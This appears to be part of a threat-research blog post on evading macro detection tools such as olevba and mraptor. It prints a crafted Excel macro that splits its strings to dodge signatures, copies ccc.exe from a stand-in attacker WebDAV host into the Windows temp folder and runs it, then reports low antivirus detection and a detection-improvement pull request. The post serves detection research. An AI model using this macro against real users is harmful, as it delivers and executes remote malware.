|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'\x00\x02\x08 '     |00020820                                     |
|Hex String|'\x00\x00\x00\x00\x0|000000000046                                 |
|          |0F'                 |                                             |
|Hex String|'\x00\x02\x08\x19'  |00020819                                     |
+----------+--------------------+---------------------------------------------+
MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):
Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Worksheet_Calculate()
    lw = ""
    Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")
    Set oF = No.Namespace("C:\windo" & lw & "ws\te" & lw & "mp")
    If Not oF Is Nothing Then
        oF.CopyHere ("\\theatta" & lw & "cker.com@S" & lw & "SL\webd" & lw & "av_s\ccc.ex" & lw & "e")
    End If
    Set PF = No.Namespace("C:\Windo" & lw & "ws\Te" & lw & "mp")
    Set TT = PF.ParseName("ccc.e" & lw & "xe")
    For Each Verb In TT.Verbs
           If "&Op" & lw & "en" = Verb.Name Then
               Verb.DoIt
           End If
    Next
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
	

Also here as in the previous sample the hit is due to the VB_Base attribute.

Virustotal

For these tests only static analysis is significant, however these are the samples:

 Document_ContentControlOnEnter.docm:

Worksheet_FollowHyperlink.xlsm:

Worksheet_Calculate.xlsm:

As you can see there are few known antivirus and only heuristic signatures.

Suggestions for improvement

In order to detect the techniques proposed through olevba / mraptor, it would be important to note the following:

The previous list was proposed on the public project through the following pull request:  https://github.com/decalage2/oletools/pull/591

Conclusions

  • We have shown that digging in the documentation and with a little fuzzing it is possible to craft a 0 hit macro.
  • Chaining these samples with an unknown sandbox detection check and esoteric COM objects could have really unpleasant effects.
  • Implementing an open-source out-of-the-box solution may not be enough to defend your infrastructure.
  • It is very important to carry out periodic internal tests on all the detection components of your platform.
  • Performing periodic internal tests on all the detection components of the platform could significantly increase the detection capacity of your platform.

About the author

Gabriele Pippi, Threat Research Lead Engineer ( Twitter)



                                                                                                                  Photo by Jr Korpa on Unsplash